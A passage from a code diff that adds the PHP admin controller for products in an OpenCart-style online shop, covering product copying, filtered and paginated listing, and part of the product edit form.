+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->copyProduct($product_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $filter_price = $this->request->get['filter_price'];
+ } else {
+ $filter_price = '';
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $filter_price_min = $this->request->get['filter_price_min'];
+ } else {
+ $filter_price_min = null;
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $filter_price_max = $this->request->get['filter_price_max'];
+ } else {
+ $filter_price_max = null;
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $filter_quantity = $this->request->get['filter_quantity'];
+ } else {
+ $filter_quantity = '';
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $filter_quantity_min = $this->request->get['filter_quantity_min'];
+ } else {
+ $filter_quantity_min = null;
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $filter_quantity_max = $this->request->get['filter_quantity_max'];
+ } else {
+ $filter_quantity_max = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ $filter_sub_category = null;
+ if (isset($this->request->get['filter_category'])) {
+ $filter_category = $this->request->get['filter_category'];
+ if (!empty($filter_category) && isset($this->request->get['filter_sub_category'])) {
+ $filter_sub_category = true;
+ } elseif (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ } else {
+ $filter_category = null;
+ if (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ }
+
+ $filter_category_name = null;
+ if (isset($filter_category)) {
+ if ($filter_category>0) {
+ $this->load->model('catalog/category');
+
+
+
+ $category = $this->model_catalog_category->getCategory($filter_category);
+ if ($category) {
+ $filter_category_name = ($category['path']) ? $category['path'] . ' > ' . $category['name'] : $category['name'];
+ } else {
+ $filter_category = null;
+ unset($this->request->get['filter_category']);
+ $filter_sub_category = null;
+ if (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ }
+ } else {
+ $filter_category_name = $this->language->get('text_none_category');
+ }
+ }
+
+ $filter_manufacturer_id = null;
+ $filter_manufacturer_name = '';
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $filter_manufacturer_id = (int)$this->request->get['filter_manufacturer_id'];
+ if($filter_manufacturer_id > 0) {
+ $this->load->model('catalog/manufacturer');
+ $manufacturer = $this->model_catalog_manufacturer->getManufacturer($filter_manufacturer_id);
+ if ($manufacturer) {
+ $filter_manufacturer_name = $manufacturer['name'];
+ } else {
+ $filter_manufacturer_name = null;
+ unset($this->request->get['filter_manufacturer_id']);
+ }
+ } else {
+ $filter_manufacturer_id = 0;
+ $filter_manufacturer_name = $this->language->get('text_none_manufacturer');
+ }
+ }
+
+ /*
+ $filter_manufacturer_name = null;
+ if (isset($filter_manufacturer)) {
+ if ($filter_manufacturer>0) {
+ $this->load->model('catalog/manufacturer');
+ $manufacturer = $this->model_catalog_manufacturer->getManufacturer($filter_manufacturer);
+ if ($manufacturer) {
+ $filter_manufacturer_name = $manufacturer['name'];
+ } else {
+ $filter_manufacturer = null;
+ unset($this->request->get['filter_manufacturer']);
+ }
+ } elseif ($filter_manufacturer==0) {
+ $filter_manufacturer_name = $this->language->get('text_none_manufacturer');
+ }
+ }
+ */
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('catalog/product/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/product/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/product/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/product/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['products'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_model' => $filter_model,
+ 'filter_price' => $filter_price,
+ 'filter_price_min'=> $filter_price_min,
+ 'filter_price_max'=> $filter_price_max,
+ 'filter_quantity' => $filter_quantity,
+ 'filter_quantity_min' => $filter_quantity_min,
+ 'filter_quantity_max' => $filter_quantity_max,
+ 'filter_status' => $filter_status,
+ 'filter_category' => $filter_category,
+ 'filter_sub_category' => $filter_sub_category,
+ 'filter_manufacturer_id'=> $filter_manufacturer_id,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+
+ $this->load->model('tool/image');
+
+ $product_total = $this->model_catalog_product->getTotalProducts($filter_data);
+
+ $results = $this->model_catalog_product->getProducts($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $special = false;
+
+ $product_specials = $this->model_catalog_product->getProductSpecials($result['product_id']);
+
+ foreach ($product_specials as $product_special) {
+ if (($product_special['date_start'] == '0000-00-00' || strtotime($product_special['date_start']) < time()) && ($product_special['date_end'] == '0000-00-00' || strtotime($product_special['date_end']) > time())) {
+ $special = $this->currency->format($product_special['price'], $this->config->get('config_currency'));
+
+ break;
+ }
+ }
+
+ $data['products'][] = array(
+ 'product_id' => $result['product_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'price' => $this->currency->format($result['price'], $this->config->get('config_currency')),
+ 'special' => $special,
+ 'quantity' => $result['quantity'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled_short') : $this->language->get('text_disabled_short'),
+ 'noindex' => $result['noindex'] ? $this->language->get('text_enabled_short') : $this->language->get('text_disabled_short'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/product&product_id=' . $result['product_id'],
+ 'edit' => $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $result['product_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_model'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.model' . $url, true);
+ $data['sort_price'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.price' . $url, true);
+ $data['sort_quantity'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.quantity' . $url, true);
+ $data['sort_status'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_model'] = $filter_model;
+ $data['filter_price'] = $filter_price;
+ $data['filter_price_min'] = $filter_price_min;
+ $data['filter_price_max'] = $filter_price_max;
+ $data['filter_quantity'] = $filter_quantity;
+ $data['filter_quantity_min'] = $filter_quantity_min;
+ $data['filter_quantity_max'] = $filter_quantity_max;
+ $data['filter_status'] = $filter_status;
+ $data['filter_category_name'] = $filter_category_name;
+ $data['filter_category'] = $filter_category;
+ $data['filter_sub_category'] = $filter_sub_category;
+ $data['filter_manufacturer_name'] = $filter_manufacturer_name;
+ $data['filter_manufacturer_id'] = $filter_manufacturer_id;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/product_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['product_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['model'])) {
+ $data['error_model'] = $this->error['model'];
+ } else {
+ $data['error_model'] = '';
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['product_id'])) {
+ $data['action'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $this->request->get['product_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['product_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $product_info = $this->model_catalog_product->getProduct($this->request->get['product_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['product_description'])) {
+ $data['product_description'] = $this->request->post['product_description'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_description'] = $this->model_catalog_product->getProductDescriptions($this->request->get['product_id']);
+ } else {
+ $data['product_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['product_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['product_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['model'])) {
+ $data['model'] = $this->request->post['model'];
+ } elseif (!empty($product_info)) {
+ $data['model'] = $product_info['model'];
+ } else {
+ $data['model'] = '';
+ }
+
+ if (isset($this->request->post['sku'])) {
+ $data['sku'] = $this->request->post['sku'];
+ } elseif (!empty($product_info)) {
+ $data['sku'] = $product_info['sku'];
+ } else {
+ $data['sku'] = '';
+ }
+
+ if (isset($this->request->post['upc'])) {
+ $data['upc'] = $this->request->post['upc'];
+ } elseif (!empty($product_info)) {
+ $data['upc'] = $product_info['upc'];
+ } else {
+ $data['upc'] = '';
+ }
+
+ if (isset($this->request->post['ean'])) {
+ $data['ean'] = $this->request->post['ean'];
+ } elseif (!empty($product_info)) {
+ $data['ean'] = $product_info['ean'];
+ } else {
+ $data['ean'] = '';
+ }
+
+ if (isset($this->request->post['jan'])) {
+ $data['jan'] = $this->request->post['jan'];
+ } elseif (!empty($product_info)) {
+ $data['jan'] = $product_info['jan'];
+ } else {
+ $data['jan'] = '';
+ }
+
+ if (isset($this->request->post['isbn'])) {
+ $data['isbn'] = $this->request->post['isbn'];
+ } elseif (!empty($product_info)) {
+ $data['isbn'] = $product_info['isbn'];
+ } else {
+ $data['isbn'] = '';
+ }
+
+ if (isset($this->request->post['mpn'])) {
+ $data['mpn'] = $this->request->post['mpn'];
+ } elseif (!empty($product_info)) {
+ $data['mpn'] = $product_info['mpn'];
+ } else {
+ $data['mpn'] = '';
+ }
+
+ if (isset($this->request->post['location'])) {
+ $data['location'] = $this->request->post['location'];
+ } elseif (!empty($product_info)) {
+ $data['location'] = $product_info['location'];
+ } else {
+ $data['location'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['product_store'])) {
+ $data['product_store'] = $this->request->post['product_store'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_store'] = $this->model_catalog_product->getProductStores($this->request->get['product_id']);
+ } else {
+ $data['product_store'] = array(0);
+ }
+
+ if (isset($this->request->post['shipping'])) {
+ $data['shipping'] = $this->request->post['shipping'];
+ } elseif (!empty($product_info)) {
+ $data['shipping'] = $product_info['shipping'];
+ } else {
+ $data['shipping'] = 1;
+ }
+
+if (isset($this->request->post['price_2'])) {
+ $data['price_2'] = $this->request->post['price_2'];
+ } elseif (!empty($product_info)) {
+ $data['price_2'] = $product_info['price_2'];
+ } else {
+ $data['price_2'] = '';
+ }
+
+if (isset($this->request->post['price_3'])) {
+ $data['price_3'] = $this->request->post['price_3'];
+ } elseif (!empty($product_info)) {
+ $data['price_3'] = $product_info['price_3'];
+ } else {
+ $data['price_3'] = '';
+ }
+ if (isset($this->request->post['price'])) {
+ $data['price'] = $this->request->post['price'];
+ } elseif (!empty($product_info)) {
+ $data['price'] = $product_info['price'];
+ } else {
+ $data['price'] = '';
+ }
+
+ $this->load->model('catalog/recurring');
+
+ $data['recurrings'] = $this->model_catalog_recurring->getRecurrings();
+
+ if (isset($this->request->post['product_recurrings'])) {
+ $data['product_recurrings'] = $this->request->post['product_recurrings'];
+ } elseif (!empty($product_info)) {
+ $data['product_recurrings'] = $this->model_catalog_product->getRecurrings($product_info['product_id']);
+ } else {
+ $data['product_recurrings'] = array();
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['tax_class_id'])) {
+ $data['tax_class_id'] = $this->request->post['tax_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['tax_class_id'] = $product_info['tax_class_id'];
+ } else {
+ $data['tax_class_id'] = 0;
+ }
+
+ if (isset($this->request->post['date_available'])) {
+ $data['date_available'] = $this->request->post['date_available'];
+ } elseif (!empty($product_info)) {
+ $data['date_available'] = ($product_info['date_available'] != '0000-00-00') ? $product_info['date_available'] : '';
+ } else {
+ $data['date_available'] = date('Y-m-d');
+ }
+
+ if (isset($this->request->post['quantity'])) {
+ $data['quantity'] = $this->request->post['quantity'];
+ } elseif (!empty($product_info)) {
+ $data['quantity'] = $product_info['quantity'];
+ } else {
+ $data['quantity'] = 1;
+ }
+
+ if (isset($this->request->post['minimum'])) {
+ $data['minimum'] = $this->request->post['minimum'];
+ } elseif (!empty($product_info)) {
+ $data['minimum'] = $product_info['minimum'];
+ } else {
+ $data['minimum'] = 1;
+ }
+
+ if (isset($this->request->post['subtract'])) {
+ $data['subtract'] = $this->request->post['subtract'];
+ } elseif (!empty($product_info)) {
+ $data['subtract'] = $product_info['subtract'];
+ } else {
+ $data['subtract'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($product_info)) {
+ $data['sort_order'] = $product_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ $this->load->model('localisation/stock_status');
+
+ $data['stock_statuses'] = $this->model_localisation_stock_status->getStockStatuses();
+
+ if (isset($this->request->post['stock_status_id'])) {
+ $data['stock_status_id'] = $this->request->post['stock_status_id'];
+ } elseif (!empty($product_info)) {
+ $data['stock_status_id'] = $product_info['stock_status_id'];
+ } else {
+ $data['stock_status_id'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
